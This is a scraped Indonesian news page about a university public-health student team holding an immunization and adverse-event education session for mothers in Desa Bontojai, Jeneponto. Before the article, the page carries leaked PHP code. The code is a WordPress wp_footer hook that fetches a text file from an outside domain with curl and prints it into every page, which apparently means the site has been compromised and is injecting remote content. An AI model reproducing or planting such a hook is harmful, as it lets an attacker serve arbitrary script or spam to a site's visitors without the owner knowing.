function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Posko 24 PBL FKM Unhas Gelar Nobar Edukasi Imunisasi dan KIPI untuk Ibu Hamil dan Ibu Balita di Desa Bontojai, Jeneponto - Suluh Nusantara

Home / Uncategorized

Sabtu, 25 Januari 2025 - 14:46 WIB

Posko 24 PBL FKM Unhas Gelar Nobar Edukasi Imunisasi dan KIPI untuk Ibu Hamil dan Ibu Balita di Desa Bontojai, Jeneponto

Desa Bontojai, Jeneponto, 25 Januari 2025 – Posko 24 PBL FKM UNHAS melaksanakan salah satu kegiatan intervensi yaitu Sosialisasi Imunisasi dan Kejadian Ikutan Pasca Imunisasi (KIPI). Kegiatan ini bertujuan untuk meningkatkan pengetahuan masyarakat khususnya ibu hamil dan ibu baduta terhadap pentingnya imunisasi guna mencegah penyakit berbahaya pada bayi dan balita

Kegiatan ini juga mendukung dalam pencapaian tujuan ke-3 Sustainable Development Goals (SDGs), yaitu “Kehidupan Sehat dan Sejahtera” dengan misi “Menjamin Kehidupan yang Sehat dan Meningkatkan Kesejahteraan Seluruh Penduduk Semua Usia” yang dimana imunisasi berperan penting dalam pencegahan penyakit menular dan peningkatan kesehatan masyarakat serta mengurangi angka kematian anak

Sosialisasi dihadiri oleh kader posyandu, 6 ibu hamil dan 5 ibu baduta. Kegiatan terdiri beberapa agenda dimulai dari pemutaran video edukatif, pemaparan materi serta ice breaking. Metode pemutaran video edukatif dilakukan selain menarik juga mudah dipahami dan dinikmati. Pemaparan materi mengenai Imunisasi dasar dan lanjutan serta Kejadian Ikutan Pasca Imunisasi (KIPI) sangat berkaitan dengan kejadian stunting.

Baca Juga  Balang Baru, Senyum Baru: Peningkatan Derajat Kesehatan Gigi Dan Mulut Melalui Edukasi Dan Sikat Gigi Bersama Pada Siswa Sekolah Dasar

Adibah Layanah sebagai penanggung jawab kegiatan dan pemaparan materi menyatakan bahwa salah satu faktor penyebab stunting ialah imunisasi, anak dengan status imunisasi dasar lengkap memiliki prevalensi stunting yang lebih rendah dibanding dengan anak yang tidak diimunisasi dan KIPI perlu dikelola dan dipahami dengan baik untuk meningkatkan kepercayaan masyarakat terhadap imunisasi serta meningkatkan cakupan imunisasi. Salah satu kader posyandu di Desa Bontojai, Ibu Ros menyatakan bahwa sosialisasi ini sangat bermanfaat bagi semua ibu-ibu terutama ibu hamil dan ibu balita

Baca Juga  Forum KAP RCCE+ Fasilitasi Pendampingan TPK BKKBN Zero Dose Immunization di Provinsi Sulawesi Selatan

“adik-adik semua, terima kasih atas sosialisasi yang telah di sampaikan kepada kami/semua ibu balita dan ibu hamil, atas apa yang di sampaikan kepada kami sangat-sangat bermanfaat bagi kita semua ibu-ibu, karena telah menjelaskan apa-apa yang belum kita ketahui sebelumnya tentang Imunisasi dan KIPI, maka dari itu kami berterima kasih kepada adik-adik dari FKM UNHAS”. Dengan semangat dan dukungan yang tinggi dari masyarakat khususnya para ibu hamil dan ibu balita, kegiatan ini berlangsung dengan baik. Diharapkan bahwa melalui kegiatan sosialisasi ini, kesadaran dan pengetahuan masyarakat tentang Imunisasi dan KIPI akan terus meningkat. Hal ini sangat penting untuk memastikan keadaan anak-anak di Desa Bontojai tumbuh dengan sehat, sehingga mereka dapat menjadi generasi penerus yang berkualitas di masa mendatang.

Share :

Baca Juga

Uncategorized

Persakmi Gelar Workshop Penyusunan Indikator Prioritas Pelayanan Kesehatan Berbasis Manajemen Risiko

Uncategorized

Departemen Kesehatan Lingkungan FKM UNHAS Bagikan 450 Takjil dan Stiker Ramadhan bagi Pengendara dan Pejalan Kaki

Uncategorized

FKM UNHAS Perkuat Jejak Internasional: Mahasiswa Doktoral dan Dosen FKM Presentasikan Hasil Penelitian pada ICOH-CVD 2025 di Bangkok, Thailand

Uncategorized

Mahasiswa PBL II Posko 15 FKM UNHAS Sukses Gelar Penyuluhan dan Live Cooking MP-ASI “SUJATECI” untuk Edukasi Ibu-Ibu di Desa Jenetallasa, Jeneponto

Uncategorized

Dosen dan Mahasiswa Promosi Kesehatan dan Ilmu Perilaku FKM Unhas Berpartisipasi pada 11th Asian Health Literacy Association Conference di Taichung, Taiwan

Uncategorized

Seminar Awal Praktik Belajar Lapangan (PBL I) Di Desa Maccile, Kecamatan Lalabata, Kabupaten Soppeng

Uncategorized

Mahasiswa FKM Unhas Gelar Seminar Akhir PBL 1 di Desa Laringgi: Hipertensi Jadi Masalah Utama Kesehatan Masyarakat

Uncategorized

Program Bina Desa Mahsiswa Batch I Tahun 2025 Fakultas Kesehatan Masyarakat Universitas Hasanuddin: Edukasi “Sehat Ceria: Cuci Tangan Pakai Sabun” di UPT SPF SD Inpres Bira 1, Kelurahan Parangloe, Kecamatan Tamalanrea, Kota Makassar